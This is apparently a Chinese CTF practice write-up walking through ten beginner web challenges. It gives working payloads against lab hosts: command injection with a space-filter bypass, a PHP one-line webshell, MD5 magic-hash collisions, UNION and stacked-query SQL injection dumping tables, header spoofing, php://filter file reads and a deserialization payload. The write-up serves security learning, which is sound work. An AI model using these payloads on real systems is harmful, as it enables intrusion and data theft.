2022/7/28

1.[SWPUCTF 2021 新生赛]babyrce

1.打开界面后首先看界面给出的提示,要求cookie型数据admin=1,使用bp抓包(或者直接使用hackbar传输)

image

2.在重发器内选择参数,添加cookie类型数据admin,值为1

image

3.得到一个新的php,访问后是一段代码

image

4.代码审计

if (isset($_GET['url'])) {
   $ip=$_GET['url'];
   if(preg_match("/ /", $ip)){
   	die('nonono');
   }
   $a = shell_exec($ip);
   echo $a;
}

if (isset($_GET['url']))为判断URL是否为空

$ip=$_GET['url']为把URL赋值给IP

if(preg_match("/ /", $ip))为判断IP(即URL)中是否有/ /,如有,直接退出

echo为打印字符

5.绕过空格

1.14.71.254:28312/rasalghul.php?url=ls${IFS}/

6.出现flllllaaaaaaggggggg,传入命令

1.14.71.254:28312/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg

7.得到flag

image

2.[第五空间 2021]WebFTP

1.尝试了一下SQL注入,但是没有找到注入点,看了一下WP得知是直接访问phpinfo.php

1.14.71.254:28130/phpinfo.php

2.找到flag

image

3.[SWPUCTF 2021 新生赛]gift_F12

1.直接访问界面源码,得flag

image

4.[SWPUCTF 2021 新生赛]caidao

1.进入环境后就给出了一个语句提示

image

2.查了一下,@eval($_POST这个东西叫做一句话木马,可以用来修改数据库,再根据题目,猜测就是用蚁剑连一下,密码就是post的内容:wllm,连接后右键文件管理

image

3.在/文件夹下找到名为flag的文件,就是flag

image

5.[SWPUCTF 2021 新生赛]jicao

1.打开环境,得到一段代码

image

2.主要的就是这段:if ($id"wllmNB"&&$json['x']"wllm"),返回flag的条件为:post传输id=wllmNB,get传输json={"x":"wllm"},使用hackbar

image

3.得到flag

6.[SWPUCTF 2021 新生赛]easy_md5

1.打开环境,得到一段代码

image

2.代码审计

第一层:if (isset($_GET['name']) && isset($_POST['password']))为判断name和password是否为空,第二层:if ($name != $password && md5($name) == md5($password))要求name不等于password但是md5加密后两者相等,get传输name,post传输password,那就搜一下md5加密后相等的两个字符串,搜到了一个0e绕过,原理就是0e开头的字符串比较时自动转化为0,那就是0=0,返回true

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

3.使用上方的任意两个,对应方式传输数据,得到flag

image

7.[SWPUCTF 2021 新生赛]easy_sql

1.题目中提示,参数是wllm

image

2.输入参数值,测试注入点

image

3.字符型注入,根据回显测试闭合方式

/1.14.71.254:28077/?wllm=1abc'

4.得知为单引号

image

5.构造SQL语句,查位数

1.14.71.254:28077/?wllm=1' order by 4 --+

6.输入为4时报错,3时正常,得知为3

image

7.判断具体位置

1.14.71.254:28077/?wllm=-1' union select 1,2,3 --+

得知1的位置并不显示

image

8.2和3随便选一个位置进行注入,查表名

1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3 --+

image

9.一看test_tb就是flag所在的表,查列名

1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'test_tb'),3 --+

image

10.进到flag列中,找到flag

1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(flag) from test_tb),3 --+

image

8.[suctf 2019]EasySQL

1.得到一个输入框,根据题目,大部分可能是SQL,随便输一下

image

2.输入1时显示

image

2.两种解法:

1)最简单的:*,1

image

2):1;set sql_mode=PIPES_AS_CONCAT;select 1

image

9.[SWPUCTF 2021 新生赛]Do_you_know_http

1.进入环境,提示用户参数使用wllm

image

2.bp抓包,在bp上便于修改,将User-Agent后面的参数改为WLLM

22.cnblogs.com/blog/2629165/202207/2629165-20220728172102032-1583736856.jpg)

3.bp显示进入到了一个新的php中:a.php,访问一下

image

4.要求了位置,添加一下X-Forwarded-For:参数,会回显一个secretttt.php,访问后就得到flag

image

10.[ZJCTF 2019]NiZhuanSiWei

1.得到一段代码,代码审计

第一个if:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

意思就是text不为空,且内容为welcome to the zjctf

第二个if:

if(preg_match("/flag/",$file))

判断在file中能否找到flag,如找到,直接退出

2.把welcome to the zjctf base64加密一下,防止传输出现错误,构造payload绕过第一层

1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image

3.构造payload,绕过第二层的查找flag,并且访问useless.php,得到一段base64

1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

image

4.解码后得到一段php代码

image

5.序列化,得到的就是password的值

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

6.构造payload绕过第三层,访问flag

1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

7.得到新回显,访问源码,得到flag

image

posted @ 2022-07-28 18:09  CPYQY_orz  阅读(264)  评论(0)    收藏  举报